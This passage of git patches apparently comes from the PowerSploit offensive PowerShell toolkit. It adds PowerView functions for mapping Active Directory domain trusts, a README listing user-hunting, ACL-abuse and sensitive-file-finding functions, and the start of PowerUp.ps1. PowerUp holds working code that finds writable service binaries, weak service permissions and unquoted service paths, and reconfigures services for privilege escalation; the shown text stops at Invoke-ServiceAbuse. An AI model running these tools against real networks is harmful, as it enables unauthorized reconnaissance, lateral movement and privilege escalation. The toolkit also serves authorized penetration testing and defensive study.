+ $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain + $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName + $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_ + $ForeignGroupUser + } + } + } + } + + if ($Recurse) { + # get all rechable domains in the trust mesh and uniquify them + if($LDAP -or $DomainController) { + $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + else { + $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + + ForEach($DomainTrust in $DomainTrusts) { + # get the trust groups for each domain in the trust mesh + Write-Verbose "Enumerating trust groups in domain $DomainTrust" + Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + } + } + else { + Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + } +} + + +function Invoke-MapDomainTrust { +<# + .SYNOPSIS + + This function gets all trusts for the current domain, + and tries to get all trusts for each domain it finds. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv + + Map all reachable domain trusts and output everything to a .csv file. + + .LINK + + http://blog.harmj0y.net/ +#> + [CmdletBinding()] + param( + [Switch] + $LDAP, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + # keep track of domains seen so we don't hit infinite recursion + $SeenDomains = @{} + + # our domain status tracker + $Domains = New-Object System.Collections.Stack + + # get the current domain and push it onto the stack + $CurrentDomain = (Get-NetDomain).Name + $Domains.push($CurrentDomain) + + while($Domains.Count -ne 0) { + + $Domain = $Domains.Pop() + + # if we haven't seen this domain before + if (-not $SeenDomains.ContainsKey($Domain)) { + + Write-Verbose "Enumerating trusts for domain '$Domain'" + + # mark it as seen in our list + $Null = $SeenDomains.add($Domain, "") + + try { + # get all the trusts for this domain + if($LDAP -or $DomainController) { + $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize + } + else { + $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize + } + + if($Trusts -isnot [system.array]) { + $Trusts = @($Trusts) + } + + # get any forest trusts, if they exist + $Trusts += Get-NetForestTrust -Forest $Domain + + if ($Trusts) { + + # enumerate each trust found + ForEach ($Trust in $Trusts) { + $SourceDomain = $Trust.SourceName + $TargetDomain = $Trust.TargetName + $TrustType = $Trust.TrustType + $TrustDirection = $Trust.TrustDirection + + # make sure we process the target + $Null = $Domains.push($TargetDomain) + + # build the nicely-parsable custom output object + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" + $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" + $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" + $DomainTrust + } + } + } + catch { + Write-Warning "[!] Error: $_" + } + } + } +} + + +######################################################## +# +# Expose the Win32API functions and datastructures below +# using PSReflect. +# Warning: Once these are executed, they are baked in +# and can't be changed while the script is running! +# +######################################################## + +$Mod = New-InMemoryModule -ModuleName Win32 + +# all of the Win32 API functions we need +$FunctionDefinitions = @( + (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), + (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), + (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), + (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), + (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), + (func kernel32 GetLastError ([Int]) @()) +) + +# enum used by $WTS_SESSION_INFO_1 below +$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ + Active = 0 + Connected = 1 + ConnectQuery = 2 + Shadow = 3 + Disconnected = 4 + Idle = 5 + Listen = 6 + Reset = 7 + Down = 8 + Init = 9 +} + +# the WTSEnumerateSessionsEx result structure +$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{ + ExecEnvId = field 0 UInt32 + State = field 1 $WTSConnectState + SessionId = field 2 UInt32 + pSessionName = field 3 String -MarshalAs @('LPWStr') + pHostName = field 4 String -MarshalAs @('LPWStr') + pUserName = field 5 String -MarshalAs @('LPWStr') + pDomainName = field 6 String -MarshalAs @('LPWStr') + pFarmName = field 7 String -MarshalAs @('LPWStr') +} + +# the particular WTSQuerySessionInformation result structure +$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ + AddressFamily = field 0 UInt32 + Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) +} + +# the NetShareEnum result structure +$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{ + shi1_netname = field 0 String -MarshalAs @('LPWStr') + shi1_type = field 1 UInt32 + shi1_remark = field 2 String -MarshalAs @('LPWStr') +} + +# the NetWkstaUserEnum result structure +$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{ + wkui1_username = field 0 String -MarshalAs @('LPWStr') + wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr') + wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr') + wkui1_logon_server = field 3 String -MarshalAs @('LPWStr') +} + +# the NetSessionEnum result structure +$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{ + sesi10_cname = field 0 String -MarshalAs @('LPWStr') + sesi10_username = field 1 String -MarshalAs @('LPWStr') + sesi10_time = field 2 UInt32 + sesi10_idle_time = field 3 UInt32 +} + + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Netapi32 = $Types['netapi32'] +$Advapi32 = $Types['advapi32'] +$Kernel32 = $Types['kernel32'] +$Wtsapi32 = $Types['wtsapi32'] diff --git a/Recon/README.md b/Recon/README.md new file mode 100644 index 00000000..d992798d --- /dev/null +++ b/Recon/README.md @@ -0,0 +1,127 @@ +To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module Recon` + +To see the commands imported, type `Get-Command -Module Recon` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. + + +## PowerView + +PowerView is a PowerShell tool to gain network situational awareness on +Windows domains. It contains a set of pure-PowerShell replacements for various +windows "net *" commands, which utilize PowerShell AD hooks and underlying +Win32 API functions to perform useful Windows domain functionality. + +It also implements various useful metafunctions, including some custom-written +user-hunting functions which will identify where on the network specific users +are logged into. It can also check which machines on the domain the current +user has local administrator access on. Several functions for the enumeration +and abuse of domain trusts also exist. See function descriptions for appropriate +usage and available options. For detailed output of underlying functionality, pass +the -Verbose or -Debug flags. + +For functions that enumerate multiple machines, pass the -Verbose flag to get a +progress status as each host is enumerated. Most of the "meta" functions accept +an array of hosts from the pipeline. + + +### Misc Functions: + Export-PowerViewCSV - thread-safe CSV append + Set-MacAttribute - Sets MAC attributes for a file based on another file or input (from Powersploit) + Copy-ClonedFile - copies a local file to a remote location, matching MAC properties + Get-IPAddress - resolves a hostname to an IP + Test-Server - tests connectivity to a specified server + Convert-NameToSid - converts a given user/group name to a security identifier (SID) + Convert-SidToName - converts a security identifier (SID) to a group/user name + Convert-NT4toCanonical - converts a user/group NT4 name (i.e. dev/john) to canonical format + Get-Proxy - enumerates local proxy settings + Get-PathAcl - get the ACLs for a local/remote file path with optional group recursion + Get-UserProperty - returns all properties specified for users, or a set of user:prop names + Get-ComputerProperty - returns all properties specified for computers, or a set of computer:prop names + Find-InterestingFile - search a local or remote path for files with specific terms in the name + Invoke-CheckLocalAdminAccess - check if the current user context has local administrator access to a specified host + Get-DomainSearcher - builds a proper ADSI searcher object for a given domain + Get-ObjectAcl - returns the ACLs associated with a specific active directory object + Add-ObjectAcl - adds an ACL to a specified active directory object + Get-LastLoggedOn - return the last logged on user for a target host + Get-CachedRDPConnection - queries all saved RDP connection entries on a target host + Invoke-ACLScanner - enumerate -1000+ modifable ACLs on a specified domain + Get-GUIDMap - returns a hash table of current GUIDs -> display names + Get-DomainSID - return the SID for the specified domain + Invoke-ThreadedFunction - helper that wraps threaded invocation for other functions + + +### net * Functions: + Get-NetDomain - gets the name of the current user's domain + Get-NetForest - gets the forest associated with the current user's domain + Get-NetForestDomain - gets all domains for the current forest + Get-NetDomainController - gets the domain controllers for the current computer's domain + Get-NetUser - returns all user objects, or the user specified (wildcard specifiable) + Add-NetUser - adds a local or domain user + Get-NetComputer - gets a list of all current servers in the domain + Get-NetPrinter - gets an array of all current computers objects in a domain + Get-NetOU - gets data for domain organization units + Get-NetSite - gets current sites in a domain + Get-NetSubnet - gets registered subnets for a domain + Get-NetGroup - gets a list of all current groups in a domain + Get-NetGroupMember - gets a list of all current users in a specified domain group + Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts + Add-NetGroupUser - adds a local or domain user to a local or domain group + Get-NetFileServer - get a list of file servers used by current domain users + Get-DFSshare - gets a list of all distribute file system shares on a domain + Get-NetShare - gets share information for a specified server + Get-NetLoggedon - gets users actively logged onto a specified server + Get-NetSession - gets active sessions on a specified server + Get-NetRDPSession - gets active RDP sessions for a specified server (like qwinsta) + Get-NetProcess - gets the remote processes and owners on a remote server + Get-UserEvent - returns logon or TGT events from the event log for a specified host + Get-ADObject - takes a domain SID and returns the user, group, or computer + object associated with it + Set-ADObject - takes a SID, name, or SamAccountName to query for a specified + domain object, and then sets a specified 'PropertyName' to a + specified 'PropertyValue' + + +### GPO functions + Get-GptTmpl - parses a GptTmpl.inf to a custom object + Get-NetGPO - gets all current GPOs for a given domain + Get-NetGPOGroup - gets all GPOs in a domain that set "Restricted Groups" + on on target machines + Find-GPOLocation - takes a user/group and makes machines they have effective + rights over through GPO enumeration and correlation + Find-GPOComputerAdmin - takes a computer and determines who has admin rights over it + through GPO enumeration + Get-DomainPolicy - returns the default domain or DC policy + + +### User-Hunting Functions: + Invoke-UserHunter - finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines + Invoke-StealthUserHunter - finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users + Invoke-ProcessHunter - hunts for processes with a specific name or owned by a specific user on domain machines + Invoke-UserEventHunter - hunts for user logon events in domain controller event logs + + +### Domain Trust Functions: + Get-NetDomainTrust - gets all trusts for the current user's domain + Get-NetForestTrust - gets all trusts for the forest associated with the current user's domain + Find-ForeignUser - enumerates users who are in groups outside of their principal domain + Find-ForeignGroup - enumerates all the members of a domain's groups and finds users that are outside of the queried domain + Invoke-MapDomainTrust - try to build a relational mapping of all domain trusts + + +### MetaFunctions: + Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain + Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain + Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to + Find-UserField - searches a user field for a particular term + Find-ComputerField - searches a computer field for a particular term + Get-ExploitableSystem - finds systems likely vulnerable to common exploits + Invoke-EnumerateLocalAdmin - enumerates members of the local Administrators groups across all machines in the domain + diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index f30ff2ef..5a4cfbe3 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -10,7 +10,7 @@ ModuleVersion = '1.0.0.0' GUID = '7e775ad6-cd3d-4a93-b788-da067274c877' # Author of this module -Author = 'Matthew Graeber' +Author = 'Matthew Graeber', 'Will Schroeder' # Company or vendor of this module CompanyName = '' @@ -58,7 +58,72 @@ PowerShellVersion = '2.0' # NestedModules = @() # Functions to export from this module -FunctionsToExport = '*' +FunctionsToExport = @( + 'Get-ComputerDetails', + 'Get-HttpStatus', + 'Invoke-Portscan', + 'Invoke-ReverseDnsLookup', + 'Set-MacAttribute', + 'Copy-ClonedFile', + 'Convert-NameToSid', + 'Convert-SidToName', + 'Convert-NT4toCanonical', + 'Get-Proxy', + 'Get-PathAcl', + 'Get-NetDomain', + 'Get-NetForest', + 'Get-NetForestDomain', + 'Get-NetForestCatalog', + 'Get-NetDomainController', + 'Get-NetUser', + 'Add-NetUser', + 'Get-UserProperty', + 'Find-UserField', + 'Get-UserEvent', + 'Get-ObjectAcl', + 'Add-ObjectAcl', + 'Invoke-ACLScanner', + 'Get-NetComputer', + 'Get-ADObject', + 'Set-ADObject', + 'Get-ComputerProperty', + 'Find-ComputerField', + 'Get-NetOU', + 'Get-NetSite', + 'Get-NetSubnet', + 'Get-NetGroup', + 'Get-NetGroupMember', + 'Get-NetFileServer', + 'Get-DFSshare', + 'Get-NetGPO', + 'Get-NetGPOGroup', + 'Find-GPOLocation', + 'Find-GPOComputerAdmin', + 'Get-DomainPolicy', + 'Get-NetLocalGroup', + 'Get-NetShare', + 'Get-NetLoggedon', + 'Get-NetSession', + 'Get-NetRDPSession', + 'Invoke-CheckLocalAdminAccess', + 'Get-LastLoggedOn', + 'Get-CachedRDPConnection', + 'Get-NetProcess', + 'Find-InterestingFile', + 'Invoke-UserHunter', + 'Invoke-ProcessHunter', + 'Invoke-EventHunter', + 'Invoke-ShareFinder', + 'Invoke-FileFinder', + 'Find-LocalAdminAccess', + 'Get-ExploitableSystem', + 'Invoke-EnumerateLocalAdmin', + 'Get-NetDomainTrust', + 'Get-NetForestTrust', + 'Find-ForeignUser', + 'Find-ForeignGroup', + 'Invoke-MapDomainTrust' +) # Cmdlets to export from this module CmdletsToExport = '*' @@ -73,8 +138,8 @@ AliasesToExport = '' ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}) # List of all files packaged with this module -FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1', - 'Invoke-Portscan.ps1', 'Get-ComputerDetails.ps1', 'Usage.md' +FileList = 'Recon.psm1', 'Recon.psd1', 'PowerView.ps1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1', + 'Invoke-Portscan.ps1', 'Get-ComputerDetails.ps1', 'README.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/Recon/Usage.md b/Recon/Usage.md deleted file mode 100644 index 9bfe35e2..00000000 --- a/Recon/Usage.md +++ /dev/null @@ -1,12 +0,0 @@ -To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. - -The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" -The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" - -To use the module, type `Import-Module Recon` - -To see the commands imported, type `Get-Command -Module Recon` - -For help on each individual command, Get-Help is your friend. - -Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. \ No newline at end of file From 8ab8c49a0d34f22fd876b8fe8e0dd5270cbf5da8 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Thu, 3 Dec 2015 21:56:08 -0500 Subject: [PATCH 045/296] Added ./Privesc/ folder that integrates PowerUp.ps1 Updated README.md's --- Privesc/PowerUp.ps1 | 2295 ++++++++++++++++++++++++++++++++++++++++++ Privesc/Privesc.psd1 | 112 +++ Privesc/Privesc.psm1 | 1 + Privesc/README.md | 59 ++ README.md | 12 + 5 files changed, 2479 insertions(+) create mode 100644 Privesc/PowerUp.ps1 create mode 100644 Privesc/Privesc.psd1 create mode 100644 Privesc/Privesc.psm1 create mode 100644 Privesc/README.md diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 new file mode 100644 index 00000000..fe7e1b1f --- /dev/null +++ b/Privesc/PowerUp.ps1 @@ -0,0 +1,2295 @@ +<# + PowerUp aims to be a clearinghouse of common Windows privilege escalation + vectors that rely on misconfigurations. See README.md for more information. + + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None +#> + + +######################################################## +# +# Helpers +# +######################################################## + +Add-Type @" + [System.FlagsAttribute] + public enum ServiceAccessFlags : uint + { + CC = 1, + DC = 2, + LC = 4, + SW = 8, + RP = 16, + WP = 32, + DT = 64, + LO = 128, + CR = 256, + SD = 65536, + RC = 131072, + WD = 262144, + WO = 524288, + GA = 268435456, + GX = 536870912, + GW = 1073741824, + GR = 2147483648 + } +"@ + +function Get-ModifiableFile { +<# + .SYNOPSIS + + Helper to return any modifiable file that's a part of a passed string. + + .EXAMPLE + + PS C:\> '"C:\Temp\blah.bat" -f "C:\Temp\config.ini"' | Get-ModifiableFile + + Return the paths "C:\Temp\blah.bat" or "C:\Temp\config.ini" if they are + modifable by the current user context. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $Path + ) + + begin { + # false positives + $Excludes = @("MsMpEng.exe", "NisSrv.exe") + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + } + + process { + $CandidateFiles = @() + + # test for quote-enclosed args first, returning files that exist on the system + $CandidateFiles += $Path.split("`"'") | Where-Object { $_ -and (Test-Path $_) } + + # now check for space-separated args, returning files that exist on the system + $CandidateFiles += $Path.split() | Where-Object { $_ -and (Test-Path $_) } + + # see if we need to skip any excludes + $CandidateFiles | Sort-Object -Unique | Where-Object {$_} | Where-Object { + $Skip = $False + ForEach($Exclude in $Excludes) { + if($_ -match $Exclude) { $Skip = $True } + } + if(!$Skip) {$True} + } | ForEach-Object { + + try { + # expand any %VARS% + $FilePath = [System.Environment]::ExpandEnvironmentVariables($_) + + # try to open the file for writing, immediately closing it + $File = Get-Item -Path $FilePath -Force + $Stream = $File.OpenWrite() + $Null = $Stream.Close() + $FilePath + } + catch {} + } + } + + end { + $ErrorActionPreference = $OrigError + } +} + +function Test-ServiceDaclPermission { +<# + .SYNOPSIS + + This function checks if the current user has specific DACL permissions + for a specific service with the aid of 'sc.exe sdshow'. + + .PARAMETER ServiceName + + The service name to verify the permissions against. Required. + + .PARAMETER Dacl + + The DACL permissions. Required. + + .EXAMPLE + + PS C:\> Test-ServiceDaclPermission -ServiceName VulnSVC -Dacl WPRPDC + + Return $True if the current user has Stop (WP), Start (RP), + and ChangeConf (DC) service permissions for 'VulnSVC' otherwise return $False. + + .LINK + + https://support.microsoft.com/en-us/kb/914392 + https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +#> + + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True)] + [string] + $ServiceName, + + [Parameter(Mandatory = $True)] + [string] + $Dacl + ) + + # check if sc.exe exists + if (-not (Test-Path ("$env:SystemRoot\system32\sc.exe"))){ + Write-Warning "[!] Could not find $env:SystemRoot\system32\sc.exe" + return $False + } + + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if (-not ($TargetService)){ + Write-Warning "[!] Target service '$ServiceName' not found on the machine" + return $False + } + + try { + # retrieve DACL from sc.exe + $Result = sc.exe sdshow $TargetService.Name | where {$_} + + if ($Result -like "*OpenService FAILED*"){ + Write-Warning "[!] Access to service $($TargetService.Name) denied" + return $False + } + + $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result) + + # populate a list of group SIDs that the current user is a member of + $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid} + + # add to the list the SID of the current user + $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + ForEach ($Sid in $Sids){ + ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){ + + # check if the group/user SID is included in the ACE + if ($Sid -eq $Ace.SecurityIdentifier){ + + # convert the AccessMask to a service DACL string + $DaclString = [string]([ServiceAccessFlags] $Ace.AccessMask) -replace ', ','' + + # convert the input DACL to an array + $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_}) + + # counter to check how many DACL permissions were found + $MatchedPermissions = 0 + + # check if each of the permissions exists + ForEach ($DaclPermission in $DaclArray){ + if ($DaclString.Contains($DaclPermission.ToUpper())){ + $MatchedPermissions += 1 + } + else{ + break + } + } + # found all permissions - success + if ($MatchedPermissions-eq $DaclArray.Count){ + return $True + } + } + } + } + return $False + } + catch{ + Write-Warning "Error: $_" + return $False + } +} + +function Invoke-ServiceStart { +<# + .SYNOPSIS + + Starts a specified service, first enabling the service if it was marked as disabled. + + .PARAMETER ServiceName + + The service name to start. Required. + + .EXAMPLE + + PS C:\> Invoke-ServiceStart -ServiceName VulnSVC + + Start the 'VulnSVC' service. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName + ) + + process { + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if (-not ($TargetService)){ + Write-Warning "[!] Target service '$ServiceName' not found on the machine" + return $False + } + + try { + # enable the service if it was marked as disabled + if ($TargetService.StartMode -eq "Disabled"){ + $r = Invoke-ServiceEnable -ServiceName "$($TargetService.Name)" + if (-not $r){ + return $False + } + } + + # start the service + Write-Verbose "Starting service '$($TargetService.Name)'" + $Null = sc.exe start "$($TargetService.Name)" + + Start-Sleep -s .5 + return $True + } + catch{ + Write-Warning "Error: $_" + return $False + } + } +} + + +function Invoke-ServiceStop { +<# + .SYNOPSIS + + Stops a specified service. + + .PARAMETER ServiceName + + The service name to stop. Required. + + .EXAMPLE + + PS C:\> Invoke-ServiceStop -ServiceName VulnSVC + + Stop the 'VulnSVC' service. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName + ) + + process { + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if (-not ($TargetService)){ + Write-Warning "[!] Target service '$ServiceName' not found on the machine" + return $False + } + + try { + # stop the service + Write-Verbose "Stopping service '$($TargetService.Name)'" + $Result = sc.exe stop "$($TargetService.Name)" + + if ($Result -like "*Access is denied*"){ + Write-Warning "[!] Access to service $($TargetService.Name) denied" + return $False + } + elseif ($Result -like "*1051*") { + # if we can't stop the service because other things depend on it + Write-Warning "[!] Stopping service $($TargetService.Name) failed: $Result" + return $False + } + + Start-Sleep 1 + return $True + } + catch{ + Write-Warning "Error: $_" + return $False + } + } +} + + +function Invoke-ServiceEnable { +<# + .SYNOPSIS + + Enables a specified service. + + .PARAMETER ServiceName + + The service name to enable. Required. + + .EXAMPLE + + PS C:\> Invoke-ServiceEnable -ServiceName VulnSVC + + Enables the 'VulnSVC' service. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName + ) + + process { + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if (-not ($TargetService)){ + Write-Warning "[!] Target service '$ServiceName' not found on the machine" + return $False + } + + try { + # enable the service + Write-Verbose "Enabling service '$TargetService.Name'" + $Null = sc.exe config "$($TargetService.Name)" start= demand + return $True + } + catch{ + Write-Warning "Error: $_" + return $False + } + } +} + + +function Invoke-ServiceDisable { +<# + .SYNOPSIS + + Disables a specified service. + + .PARAMETER ServiceName + + The service name to disable. Required. + + .EXAMPLE + + PS C:\> Invoke-ServiceDisable -ServiceName VulnSVC + + Disables the 'VulnSVC' service. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName + ) + + process { + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if (-not ($TargetService)){ + Write-Warning "[!] Target service '$ServiceName' not found on the machine" + return $False + } + + try { + # disable the service + Write-Verbose "Disabling service '$TargetService.Name'" + $Null = sc.exe config "$($TargetService.Name)" start= disabled + return $True + } + catch{ + Write-Warning "Error: $_" + return $False + } + } +} + + +######################################################## +# +# Service enumeration +# +######################################################## + +function Get-ServiceUnquoted { +<# + .SYNOPSIS + + Returns the name and binary path for services with unquoted paths + that also have a space in the name. + + .EXAMPLE + + PS C:\> $services = Get-ServiceUnquoted + + Get a set of potentially exploitable services. + + .LINK + + https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb +#> + + # find all paths to service .exe's that have a space in the path and aren't quoted + $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne "")} | Where-Object {-not $_.pathname.StartsWith("`"")} | Where-Object {-not $_.pathname.StartsWith("'")} | Where-Object {($_.pathname.Substring(0, $_.pathname.IndexOf(".exe") + 4)) -match ".* .*"} + + if ($VulnServices) { + ForEach ($Service in $VulnServices){ + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $Service.name + $Out | Add-Member Noteproperty 'Path' $Service.pathname + $Out | Add-Member Noteproperty 'StartName' $Service.startname + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -ServiceName '$($Service.name)' -Path " + $Out + } + } +} + + +function Get-ServiceFilePermission { +<# + .SYNOPSIS + + This function finds all services where the current user can + write to the associated binary or its arguments. + If the associated binary (or config file) is overwritten, + privileges may be able to be escalated. + + .EXAMPLE + + PS C:\> Get-ServiceFilePermission + + Get a set of potentially exploitable service binares/config files. +#> + + Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object { + + $ServiceName = $_.name + $ServicePath = $_.pathname + $ServiceStartName = $_.startname + + $ServicePath | Get-ModifiableFile | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'Path' $ServicePath + $Out | Add-Member Noteproperty 'ModifiableFile' $_ + $Out | Add-Member Noteproperty 'StartName' $ServiceStartName + $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -ServiceName '$ServiceName'" + $Out + } + } +} + + +function Get-ServicePermission { +<# + .SYNOPSIS + + This function enumerates all available services and tries to + open the service for modification, returning the service object + if the process doesn't failed. + + .EXAMPLE + + PS C:\> Get-ServicePermission + + Get a set of potentially exploitable services. +#> + + # check if sc.exe exists + if (-not (Test-Path ("$Env:SystemRoot\System32\sc.exe"))) { + Write-Warning "[!] Could not find $Env:SystemRoot\System32\sc.exe" + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' 'Not Found' + $Out | Add-Member Noteproperty 'Path' "$Env:SystemRoot\System32\sc.exe" + $Out | Add-Member Noteproperty 'StartName' $Null + $Out | Add-Member Noteproperty 'AbuseFunction' $Null + $Out + } + + $Services = Get-WmiObject -Class win32_service | Where-Object {$_} + + if ($Services) { + ForEach ($Service in $Services){ + + # try to change error control of a service to its existing value + $Result = sc.exe config $($Service.Name) error= $($Service.ErrorControl) + + # means the change was successful + if ($Result -contains "[SC] ChangeServiceConfig SUCCESS"){ + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $Service.name + $Out | Add-Member Noteproperty 'Path' $Service.pathname + $Out | Add-Member Noteproperty 'StartName' $Service.startname + $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($Service.name)'" + $Out + } + } + } +} + + +function Get-ServiceDetail { +<# + .SYNOPSIS + + Returns detailed information about a specified service. + + .PARAMETER ServiceName + + The service name to query for. Required. + + .EXAMPLE + + PS C:\> Get-ServiceDetail -ServiceName VulnSVC + + Gets detailed information about the 'VulnSVC' service. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName + ) + + process { + Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} | ForEach-Object { + try { + $_ | Format-List * + } + catch{ + Write-Warning "Error: $_" + $null + } + } + } +} + + +######################################################## +# +# Service abuse +# +######################################################## + +function Invoke-ServiceAbuse { +<# + .SYNOPSIS + + This function stops 